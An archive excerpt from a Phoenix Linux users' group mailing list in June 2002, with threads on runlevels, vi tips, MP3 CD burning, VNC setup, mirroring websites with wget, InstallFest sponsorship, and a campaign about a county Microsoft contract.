> > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sat Jun 15 01:17:34 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Fri, 14 Jun 2002 18:17:34 -0700 (PDT) Subject: Questions In-Reply-To: <002601c21401$9125eda0$6501a8c0@drghastly> Message-ID: You'll need to be root to save your changes. Within KDE, Gnome, or TWM, there should be a "console" program that you can use to work at the command line. In KDE, you can access Konsole by going through the K menu, then System, then Konsole. Next, you'll need to change to the root user. You can use the "su" command to do this. Type su on the command line and then enter the password for root. ~M On Fri, 14 Jun 2002, Dr.G wrote: > Ok, i've look at the man page and tried editing the file, but it will not > allow me to save it. I also cannot switch to the command line desktop > because KDE GNOME and TWM are the only options....soo.? Not sure where to go > from here > > > > ----- Original Message ----- > From: "Matt Alexander" > To: > Sent: Thursday, June 13, 2002 6:53 PM > Subject: Re: Questions > > > > On Thu, 13 Jun 2002, Dr.G wrote: > > > > > I assume by runlevel3 you mean my level of access? <----Noob. > > > > When your system boots up it consults /etc/inittab to find the default > > runlevel. Your inittab most likely has this line: > > > > id:5:initdefault: > > > > This tells your system to boot into runlevel 5. /etc/rc.d/rc5.d contains > > aliases to the scripts that will be executed at this runlevel. You'll > > also see a line like this: > > > > x:5:respawn:/etc/X11/prefdm -nodaemon > > > > This line tells your box to run the X Window System at runlevel 5. You'll > > also see other lines for tty's, etc. So, by changing to runlevel 3, > > you're exiting out of the GUI environment. If you wanted to run your box > > without the GUI, you could change the initdefault to 3 and always boot to > > a console (I do this for all of my servers). Level 6 means reboot, so if > > you type init 6 (as root), you'll reboot your box. Init 0 is to shutdown. > > Init 1 is single-user mode. The other runlevels can be defined for > > whatever purpose you'd like. > > > > Consult the inittab manpage for more detail. > > ~M > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Sat Jun 15 01:21:57 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jon K) Date: Fri, 14 Jun 2002 18:21:57 -0700 Subject: Possible Fry's sponsorship? In-Reply-To: References: Message-ID: <200206141821.58034.jon@unfm00.com> thats a great idea... How many people are expected to show up? On Friday 14 June 2002 18:13, Matt Alexander wrote: > I'll be meeting with the Fry's (on Baseline) store manager tomorrow to see > if they'd be interested in contributing to the InstallFest. I'm mostly > interested in getting as many of the Linux quicksheets that they sell as > possible. But maybe they could donate books or Linux distros or whatever > else. So, what has PLUG been offering to other businesses that are > contributing? I'd like to go in and be able to say exactly what we can > offer them in return. I'm guessing that other contributors are going to > have signs up and other forms of advertising for their business? Anything > else we're doing to recognize sponsors, etc.? > Thanks, > ~M > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sat Jun 15 01:27:18 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Fri, 14 Jun 2002 21:27:18 -0400 Subject: Quick references References: Message-ID: <3D0A97F6.9FF445C0@georgetoft.com> You missed two commands I use A LOT: C (whack off the line and insert) and ^G (WTF am I?) When is page two coming out which shows the : commands, like search & replace, block copy, block move, etc? Then you need the Palm Pilot note version. I have one that was very popular at the last Unix shop I was at. Here's my Palm version: vi Tips - Search and replace: :,s///g :s/this/that/g - Moving text: :,m :1,2m5 - Copying text: :,co :1,2co5 - Delete line that contains "string" :,g/string/d - Delete line that does not contain "string" :,v/string/d Ranges: $ = last line . = current line ___________________ Cursor Movement G = end of file $ = end of line Interact with Unix - Execute the command "pwd" on unix and return to vi :!pwd - Execute the command "pwd" on unix and capture the output into the file being edited !!pwd - Exit out of the file being edited into unix temporarily :sh Read / Write from another file - Write lines 1 through 10 from the current file to outfile :1,10 w outfile - Write lines 1 through 10 from the current file to outfile forcefully :1,10 w! outfile - Append lines 1 through 10 from the current file to outfile :1,10 w >> outfile - Read from infile to the current file below current line :r infile - Read from infile to the current file below line 23 of current file :23r infile Misc - Set line numbers to visible :set num George William Lindley wrote: > > I put this together for vi -- > > http://www.wlindley.com/gnu/vi.htm > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 15:39:47 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C) Date: 14 Jun 2002 08:39:47 -0700 Subject: mp3 In-Reply-To: <1024068440.29657.68.camel@hawk> Message-ID: <200206141540.LAA30724@hostinworld6.com> An MP3CD is (as it took me two years to figure out) a data cd w/mp3 files on it (as data, not audio) and a m3u playlist with those files in it. Good luck. -- Bryce C. Network Administrator CoBryce Communications Bryce @ BryceCo . Net On 14 Jun 2002 08:27:19 -0700, Carl Parrish wrote: > Okay what are you guys (and gals) using to burn mp3 discs? X-CD-Roast > seems to only want to burn .wav formats (I may be missing a setting). > And cdrecord is giving me an error. I want to start playing with my DVD > / mp3 player. Only I don't have any disc actually burned with mp3s. So > any help here? > > Carl P. > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Sat Jun 15 03:45:43 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jon K) Date: Fri, 14 Jun 2002 20:45:43 -0700 Subject: install fest suggestion In-Reply-To: References: Message-ID: <200206142045.43128.jon@unfm00.com> How many people do we have working the Debian table? If I can get off of work on Sat., I would love to participate. Are we going to have access to the network/internet? jon unfm00.com On Friday 14 June 2002 14:07, Derek Neighbors wrote: > I dont have the original email but, I recall data doctors saying their > program was innappropriate for disseminating the notion of the GNU\Linux > operating system, because of the 'older' demographic. > > Could someone please pass this article: > http://newsforge.com/article.pl?sid=02/06/12/1731250&tid=19 > > > on to the kind people at data doctors? Just because you are old, doesn't > mean you are dumb nor that you like vendors to treat you like crap. ;) > > > -Derek > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sat Jun 15 05:15:22 2002 From: plug-discuss@lists.plug.phoenix.az.us (Alan Dayley) Date: Fri, 14 Jun 2002 22:15:22 -0700 Subject: Possible Fry's sponsorship? In-Reply-To: References: Message-ID: <200206142215.23043.alandd@mindspring.com> If you have the ear of the manager, use it! I have been working on getting local sponsors for the Install Fest and getting no where. I have talked to a sub manager at Fry's, more than a month ago. She referred me to the home office in CA, the Community Relations Department. When I finally actually talked to the guy after 3 days of long distance calls of trying, he said he would have to talk to a VP to see about thier participation. I have followed up numerous times since then and either left messages or he says he does not know the answer yet. If you can get in, do it. As to what we are offering: -A complete table display, a "booth" so to speak, if they want it. -Banner space. -Ad distribuiton. -Mention on the Install Fest web site. -Verbal thanks as we give/use/display whatever they contribute. -Follow-on thanks on the web site and at meetings. -Whatever else we can reasonably and legally give as exposure. If anyone else has some favorite vendor/store they use and has an ear to bend, use it. We could really use some refreshment donations like soda and stuff. Books, hardware, software a nice chair or anything that can be used/consumed/looked at while using Linux would be just fine! Point them at me if you like or "sign" them up yourself. Just let me or Bill know about what they are going to provide so we can plan for it. Alan On Friday 14 June 2002 06:13 pm, Matt Alexander wrote: > I'll be meeting with the Fry's (on Baseline) store manager tomorrow to see > if they'd be interested in contributing to the InstallFest. I'm mostly > interested in getting as many of the Linux quicksheets that they sell as > possible. But maybe they could donate books or Linux distros or whatever > else. So, what has PLUG been offering to other businesses that are > contributing? I'd like to go in and be able to say exactly what we can > offer them in return. I'm guessing that other contributors are going to > have signs up and other forms of advertising for their business? Anything > else we're doing to recognize sponsors, etc.? > Thanks, > ~M From plug-discuss@lists.plug.phoenix.az.us Sat Jun 15 05:27:48 2002 From: plug-discuss@lists.plug.phoenix.az.us (William Lindley) Date: Fri, 14 Jun 2002 22:27:48 -0700 (MST) Subject: install fest suggestion In-Reply-To: <200206142045.43128.jon@unfm00.com> Message-ID: On Fri, 14 Jun 2002, Jon K wrote: > How many people do we have working the Debian table? If I can get off of work > on Sat., I would love to participate. Are we going to have access to the > network/internet? Two so far including you, anyone else up for Debian? Yes we will have internet access. \\/ From plug-discuss@lists.plug.phoenix.az.us Sat Jun 15 07:11:15 2002 From: plug-discuss@lists.plug.phoenix.az.us (Scott Sawyer) Date: Sat, 15 Jun 2002 00:11:15 -0700 (MST) Subject: install fest suggestion Message-ID: <20020615071115.8BA3D6927F@mail.ssawyer.org> I will probably be helping a lot at the Red Hat table seeing that's who I work for. I also have a great deal of experience with Debian so I can help wherever. -Scott > On Fri, 14 Jun 2002, Jon K wrote: > > How many people do we have working the Debian table? If I can get off of work > > on Sat., I would love to participate. Are we going to have access to the > > network/internet? > > Two so far including you, anyone else up for Debian? > > Yes we will have internet access. > > \\/ > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > -- Scott Sawyer Project Manager for Red Hat Inc. Member of LUNA (Linux Users of Northern Arizona View my photo portfolio at http://www.scottsawyer.org From plug-discuss@lists.plug.phoenix.az.us Sat Jun 15 08:20:25 2002 From: plug-discuss@lists.plug.phoenix.az.us (John (EBo) David) Date: Sat, 15 Jun 2002 01:20:25 -0700 Subject: Quick references References: <3D0A97F6.9FF445C0@georgetoft.com> Message-ID: <3D0AF8C9.DD64DCFF@leml.asu.edu> George Toft wrote: > > You missed two commands I use A LOT: C (whack off the line and insert) > and ^G (WTF am I?) > > ... this got me to thinking... can someone find/make a template for a generic quick reference? Then we can fill in the blank... EBo -- From plug-discuss@lists.plug.phoenix.az.us Sat Jun 15 13:25:36 2002 From: plug-discuss@lists.plug.phoenix.az.us (William Lindley) Date: Sat, 15 Jun 2002 06:25:36 -0700 (MST) Subject: Spread the word -- InstallFest Flyer Message-ID: Friends, I encourage you to print a copy of the InstallFest flyer which is found at http://www.plugpresents.com/installfest/flyer.html ...and hand it to folks, post it at your workplace or school or wherever you can. Spread the word! See you all at Scottsdale Community College on 22 June! \\/ From plug-discuss@lists.plug.phoenix.az.us Sat Jun 15 13:48:14 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Sat, 15 Jun 2002 09:48:14 -0400 Subject: mp3 References: <200206141540.LAA30724@hostinworld6.com> Message-ID: <3D0B459E.406D71AB@georgetoft.com> I have an MP3CD player that claims it can deal with multiple albums. As it was made for Asia and has a poorly worded and skimpy manual, does anyone know how do make multiple albums? I thought an album was a directory (it supports up to 20 directories 8 levels deep), but that is not the case. It is a Napa DAV316 Portable. George Bryce C wrote: > > An MP3CD is (as it took me two years to figure out) a data cd w/mp3 > files on it (as data, not audio) and a m3u playlist with those files in > it. Good luck. > > -- > Bryce C. > Network Administrator > CoBryce Communications > Bryce @ BryceCo . Net > > On 14 Jun 2002 08:27:19 -0700, Carl Parrish wrote: > > Okay what are you guys (and gals) using to burn mp3 discs? X-CD-Roast > > seems to only want to burn .wav formats (I may be missing a setting). > > And cdrecord is giving me an error. I want to start playing with my DVD > > / mp3 player. Only I don't have any disc actually burned with mp3s. So > > any help here? > > > > Carl P. > > > > > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 21:13:33 2002 From: plug-discuss@lists.plug.phoenix.az.us (Thomas Mondoshawan Tate) Date: Fri, 14 Jun 2002 14:13:33 -0700 Subject: Possible Fry's sponsorship? In-Reply-To: <200206142215.23043.alandd@mindspring.com> References: <200206142215.23043.alandd@mindspring.com> Message-ID: <20020614211333.GA153@crystaldragon> If Fry's won't "join up", give a shot at PC Computer Club on Southern and Alma School (near Fiesta Mall and the B of A building). They're a small enough company that exposure like what we could provide would be the perfect ad campaign. I'd go and ask myself, but my time is rather limited right now. -- Thomas "Mondoshawan" Tate mondoshawan@tank.dyndns.org http://tank.dyndns.org On Fri, Jun 14, 2002 at 10:15:22PM -0700, Alan Dayley wrote: > If you have the ear of the manager, use it! I have been working on getting > local sponsors for the Install Fest and getting no where. I have talked to a > sub manager at Fry's, more than a month ago. She referred me to the home > office in CA, the Community Relations Department. When I finally actually > talked to the guy after 3 days of long distance calls of trying, he said he > would have to talk to a VP to see about thier participation. I have followed > up numerous times since then and either left messages or he says he does not > know the answer yet. > > If you can get in, do it. > > As to what we are offering: > -A complete table display, a "booth" so to speak, if they want it. > -Banner space. > -Ad distribuiton. > -Mention on the Install Fest web site. > -Verbal thanks as we give/use/display whatever they contribute. > -Follow-on thanks on the web site and at meetings. > -Whatever else we can reasonably and legally give as exposure. > > If anyone else has some favorite vendor/store they use and has an ear to bend, > use it. We could really use some refreshment donations like soda and stuff. > Books, hardware, software a nice chair or anything that can be > used/consumed/looked at while using Linux would be just fine! Point them at > me if you like or "sign" them up yourself. Just let me or Bill know about > what they are going to provide so we can plan for it. > > Alan > > On Friday 14 June 2002 06:13 pm, Matt Alexander wrote: > > I'll be meeting with the Fry's (on Baseline) store manager tomorrow to see > > if they'd be interested in contributing to the InstallFest. I'm mostly > > interested in getting as many of the Linux quicksheets that they sell as > > possible. But maybe they could donate books or Linux distros or whatever > > else. So, what has PLUG been offering to other businesses that are > > contributing? I'd like to go in and be able to say exactly what we can > > offer them in return. I'm guessing that other contributors are going to > > have signs up and other forms of advertising for their business? Anything > > else we're doing to recognize sponsors, etc.? > > Thanks, > > ~M > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sat Jun 15 16:37:14 2002 From: plug-discuss@lists.plug.phoenix.az.us (Alan Dayley) Date: Sat, 15 Jun 2002 09:37:14 -0700 Subject: Saving a web site local In-Reply-To: <20020614211333.GA153@crystaldragon> References: <200206142215.23043.alandd@mindspring.com> <20020614211333.GA153@crystaldragon> Message-ID: <200206150937.14349.alandd@mindspring.com> I want to save a web page and all the pages it links to (about 2 deep) to my local hard drive so I can browse it locally. I don't see this capability in Konqueror or Mozilla. How do I do this? Alan From plug-discuss@lists.plug.phoenix.az.us Sat Jun 15 16:39:12 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Sat, 15 Jun 2002 09:39:12 -0700 Subject: Help Maricopa County Do the Right Thing Message-ID: <0206150802011X.08309@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I have heard from a "reliable source" that the Maricopa County Council has decided not to automatically sign off on having the county sign an Enterprise Agreement with Microsoft. The source said that people within the county IT organizations made their opinion known that the Enterprise Agreement might not be the best path for the county to blindly follow. Since no decision has yet been made, I urge you to PLEASE PLEASE PLEASE contact your Maricopa County district council person and your city council people with some simple questions. a. Ask them if they plan to approve funding for the Enterprise Agreement with the Microsoft Corporation? b. If they do plan to do so, ask them to provide you with a copy of the agreement and the dollar amount to be expended. c. Ask them when they will be hearing from the public on the budget, so if they are adopting an Enterprise Agreement with Microsoft, you can have your voice heard publicly. d. Ask they why do they do business with a vendor that has been convicted of felony wrongdoings. . e. Ask them if they have they considered alternatives to Microsoft products. I dont have city contact information but county contact information is as follows: Map To Find Your Council Person http://www.maricopa.gov/county_glance/maps.asp?link=districtMap Council Contact Email Dist 1 Fulton Brock FBrock@mail.maricopa.gov Dist 2 Don Stapley DStapley@mail.maricopa.gov Dist 3 Andrew Kunasek AKunasek@mail.maricopa.gov Dist 4 Max Wilson mwwilson@mail.maricopa.gov Dist 5 Mary Rose Wilcox MrWilcox@mail.maricopa.gov Also I would cc: the County Administrator and Deputy County Administrator CAO: David Smith DSmith@mail.maricopa.gov DCA: Sandi Wilson Swilson@mail.maricopa.gov - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPQttsSsk3ywszI1FEQJWEACfTdfEFZA/9kUdBoYCPM2TFnpR9qQAoOfE cWg2GbQ9y1u85/ycX+Ko2+ss =GiK8 -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Sat Jun 15 16:44:56 2002 From: plug-discuss@lists.plug.phoenix.az.us (Gordon Chamberlin) Date: 15 Jun 2002 09:44:56 -0700 Subject: vncserver In-Reply-To: <20020615005640.93691.qmail@web11501.mail.yahoo.com> References: <20020615005640.93691.qmail@web11501.mail.yahoo.com> Message-ID: <1024159502.12004.18.camel@nabla.phx.viz> xstartup works for me. The last line of mine just states 'twm &', which is admittedly boring but low resource and so is fast for running remotely. You can also login into the remote machine. I comment out the xstartup file completely and run the following: vncserver -depth 8 -geometry 1400x1050 -query -Gordon On Fri, 2002-06-14 at 17:56, Mark Astrauskas wrote: > This is just a quick question: How do I tell vncserver > which window manager to use? I've tried editing the > following files with no luck: > /etc/vnc.conf > ~/.vnc/xstartup > ~/.vncrc > > I have done it before, but now that I need to do it > again, I cannot figure it out. Anyone know where I > need to tell it? > > -A.P. Etc > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > -- Gordon Chamberlin Software Architect Visualize, Inc. http://www.visualizeinc.com (602) 861-0999 ext. 14 glac@visualizeinc.com From plug-discuss@lists.plug.phoenix.az.us Sat Jun 15 16:52:07 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Sat, 15 Jun 2002 09:52:07 -0700 Subject: Saving a web site local In-Reply-To: <200206150937.14349.alandd@mindspring.com> References: <20020614211333.GA153@crystaldragon> <200206150937.14349.alandd@mindspring.com> Message-ID: <02061509520720.08309@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I use gftp. I can highlight any/all files on the remote site and move them all to my local machine in a few clicks. Works the same way when updating pages locally and then moving them all to a remote server. On Saturday 15 June 2002 09:37, you wrote: > I want to save a web page and all the pages it links to (about 2 deep) to > my local hard drive so I can browse it locally. I don't see this > capability in Konqueror or Mozilla. How do I do this? > > Alan > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPQtwtysk3ywszI1FEQLmUACfeuZ4SiiEKpk5eKsnqKMlr8EaaAQAoN1y gjbDyVJbi9rdC6qOw5eikwYN =CZqk -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 21:46:59 2002 From: plug-discuss@lists.plug.phoenix.az.us (Thomas Mondoshawan Tate) Date: Fri, 14 Jun 2002 14:46:59 -0700 Subject: Saving a web site local In-Reply-To: <200206150937.14349.alandd@mindspring.com> References: <200206142215.23043.alandd@mindspring.com> <20020614211333.GA153@crystaldragon> <200206150937.14349.alandd@mindspring.com> Message-ID: <20020614214659.GA14303@crystaldragon> On Sat, Jun 15, 2002 at 09:37:14AM -0700, Alan Dayley wrote: > I want to save a web page and all the pages it links to (about 2 deep) to my > local hard drive so I can browse it locally. I don't see this capability in > Konqueror or Mozilla. How do I do this? > > Alan Dunno about Konqueror, but in Mozilla when you select File->Save Page As... you'll notice in the save dialog that the filetype is "Web Page, complete (*.htm; *.html)". If you save it this way, Mozilla will download all images of that page and store them in a directory called _files in the same dir that you saved the file in. Also, Mozilla will change all relative links to point to the files in the _files directory to match. -- Thomas "Mondoshawan" Tate mondoshawan@tank.dyndns.org http://tank.dyndns.org From plug-discuss@lists.plug.phoenix.az.us Sat Jun 15 16:58:27 2002 From: plug-discuss@lists.plug.phoenix.az.us (Alan Dayley) Date: Sat, 15 Jun 2002 09:58:27 -0700 Subject: Saving a web site local In-Reply-To: <02061509520720.08309@nova.wedge.org> References: <200206150937.14349.alandd@mindspring.com> <02061509520720.08309@nova.wedge.org> Message-ID: <200206150958.27844.alandd@mindspring.com> A brain cell clicked in after I posted the question. wget. Read the man page and now I have done what I needed with wget. Thanks for the tip on gftp, though. Alan On Saturday 15 June 2002 09:52 am, Jim wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > I use gftp. I can highlight any/all files on the remote site and move them > all to my local machine in a few clicks. Works the same way when updating > pages locally and then moving them all to a remote server. > > On Saturday 15 June 2002 09:37, you wrote: > > I want to save a web page and all the pages it links to (about 2 deep) to > > my local hard drive so I can browse it locally. I don't see this > > capability in Konqueror or Mozilla. How do I do this? > > > > Alan > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > - -- > Jim > > Freedom is worth protecting > > -----BEGIN PGP SIGNATURE----- > Version: PGP 6.5.8 > > iQA/AwUBPQtwtysk3ywszI1FEQLmUACfeuZ4SiiEKpk5eKsnqKMlr8EaaAQAoN1y > gjbDyVJbi9rdC6qOw5eikwYN > =CZqk > -----END PGP SIGNATURE----- > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sat Jun 15 16:58:57 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Sat, 15 Jun 2002 09:58:57 -0700 (PDT) Subject: Saving a web site local In-Reply-To: <200206150937.14349.alandd@mindspring.com> Message-ID: On Sat, 15 Jun 2002, Alan Dayley wrote: > I want to save a web page and all the pages it links to (about 2 deep) to my > local hard drive so I can browse it locally. I don't see this capability in > Konqueror or Mozilla. How do I do this? In Konq, select Tools --> Archive Web Page It will only save the current page and doesn't save all pages linked to (which is a really good thing, if you think about it). ~M From plug-discuss@lists.plug.phoenix.az.us Sat Jun 15 17:22:11 2002 From: plug-discuss@lists.plug.phoenix.az.us (Lee Einer) Date: Sat, 15 Jun 2002 10:22:11 -0700 Subject: Spread the word -- InstallFest Flyer References: Message-ID: <3D0B77C3.AA1DA7C5@cox.net> Great flyer- Love the PLUG logo. A word to the wise from an old rockhound, though- check the spelling on "turquoise." -- Lee Einer http://members.cox.net/appealsman/ From plug-discuss@lists.plug.phoenix.az.us Sat Jun 15 17:52:18 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Sat, 15 Jun 2002 10:52:18 -0700 (MST) Subject: Saving a web site local In-Reply-To: <200206150937.14349.alandd@mindspring.com> Message-ID: Am 15. Jun, 2002 schwätzte Alan Dayley so: > I want to save a web page and all the pages it links to (about 2 deep) to my > local hard drive so I can browse it locally. I don't see this capability in > Konqueror or Mozilla. How do I do this? How about a tool that can run from cron to mirror a site *and* shove it into cvs? I want to be able to have a history and also not have to worry about a local update whacking the page if it's been removed from the original site. ciao, der.hans -- # https://www.LuftHans.com/ # You can't handle the source! - der.hans From plug-discuss@lists.plug.phoenix.az.us Sat Jun 15 17:54:19 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Sat, 15 Jun 2002 10:54:19 -0700 (MST) Subject: Possible Fry's sponsorship? In-Reply-To: <200206142215.23043.alandd@mindspring.com> Message-ID: Am 14. Jun, 2002 schwätzte Alan Dayley so: > use it. We could really use some refreshment donations like soda and stuff. SCC will be selling some food/drink from their food cart. It would be nice, though, to have a bunch of punch or tea or something and some plastic cups. ciao, der.hans -- # https://www.LuftHans.com/ # To announce that there must be no criticism of the President, or that we # are to stand by the President, right or wrong, is not only unpatriotic # and servile, but is morally treasonable to the American public. # -- Theodore Roosevelt, 1918 From plug-discuss@lists.plug.phoenix.az.us Sat Jun 15 18:10:05 2002 From: plug-discuss@lists.plug.phoenix.az.us (Craig White) Date: 15 Jun 2002 11:10:05 -0700 Subject: Saving a web site local In-Reply-To: <200206150937.14349.alandd@mindspring.com> References: <200206142215.23043.alandd@mindspring.com> <20020614211333.GA153@crystaldragon> <200206150937.14349.alandd@mindspring.com> Message-ID: <1024164605.9083.0.camel@barney.azapple.com> On Sat, 2002-06-15 at 09:37, Alan Dayley wrote: > I want to save a web page and all the pages it links to (about 2 deep) to my > local hard drive so I can browse it locally. I don't see this capability in > Konqueror or Mozilla. How do I do this? > --- I use wget - it's amazing man wget wget -r www.website.tld Craig From plug-discuss@lists.plug.phoenix.az.us Sat Jun 15 18:27:50 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Sat, 15 Jun 2002 14:27:50 -0400 Subject: Help Maricopa County Do the Right Thing References: <0206150802011X.08309@nova.wedge.org> Message-ID: <3D0B8726.590EDAA7@georgetoft.com> I just spent some time reading Maricopa County policies. Interesting references: MC1-101 DEFINITIONS 25."CONTRACTOR" means any Person who has a Contract with a County Governmental unit. For purposes of Article 5, Contractor may also mean Respondent as defined in this Article. 36."DEBARMENT" means an action taken by the County Administrative Officer under MC1-902 to prohibit a Person from Participating in Maricopa County Procurements. 80."PERSON" means any corporation, Business, individual, union, committee, club, other organization or group of individuals. 113."SUSPENSION" means an action taken by the County Administrative Officer under MC1-902 temporarily disqualifying a Person from participating in Maricopa County Procurements. http://maricopa.gov/materials/p-code/HTML_code/Code-01.htm [Microsoft is considered a Contractor and a Person. This is important below.] MC1-407 MAXIMUM PRACTICABLE COMPETITION All Specifications shall seek to promote overall economy for the purpose intended and encourage competition in satisfying Maricopa County's needs and shall not be unduly restrictive. http://maricopa.gov/materials/p-code/HTML_code/Code-04.htm#MC1-401 [Is there any technology that is Microsoft exclusive? I believe there are sites that explain how to replace Exchange Server completely using Linux/OSS; and SQL Server is replaceable with mySQL; IIS & ASP is replaceable with Apache & PHP, right?] MC1-902 DEBARMENT AND SUSPENSION OF CONTRACTORS B. The causes for Debarment or Suspension shall include, but are not limited to, the following: 2. Conviction of any Person or any subsidiary or affiliate of any Person under any statute of the Federal government, this State or its political subdivision or any other State for: k. Any other offense indicating a lack of business integrity or business honesty which affects responsibility as a Contractor. 3. Conviction or civil judgment finding a violation by any Person or any subsidiary or affiliate of any Person under State or Federal Antitrust Statutes. http://maricopa.gov/materials/p-code/HTML_code/Code-09.htm#MC1-901 [As I read MC1-902.B.3, Microsoft (a Person), having been convicted of a violation of Federal Antitrust Statues, cannot be a County Contractor.] I love policies :) George Jim wrote: > > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > I have heard from a "reliable source" that the Maricopa County Council has > decided not to automatically sign off on having the county sign an Enterprise > Agreement with Microsoft. The source said that people within the county IT > organizations made their opinion known that the Enterprise Agreement might > not be the best path for the county to blindly follow. > > Since no decision has yet been made, I urge you to PLEASE PLEASE PLEASE > contact your Maricopa County district council person and your city council > people with some simple questions. > > a. Ask them if they plan to approve funding for the Enterprise Agreement with > the Microsoft Corporation? > > b. If they do plan to do so, ask them to provide you with a copy of the > agreement and the dollar amount to be expended. > > c. Ask them when they will be hearing from the public on the budget, so if > they are adopting an Enterprise Agreement with Microsoft, you can have your > voice heard publicly. > > d. Ask they why do they do business with a vendor that has been convicted of > felony wrongdoings. > . > e. Ask them if they have they considered alternatives to Microsoft products. > > I dont have city contact information but county contact information is as > follows: > > Map To Find Your Council Person > http://www.maricopa.gov/county_glance/maps.asp?link=districtMap > > Council Contact Email > Dist 1 Fulton Brock FBrock@mail.maricopa.gov > Dist 2 Don Stapley DStapley@mail.maricopa.gov > Dist 3 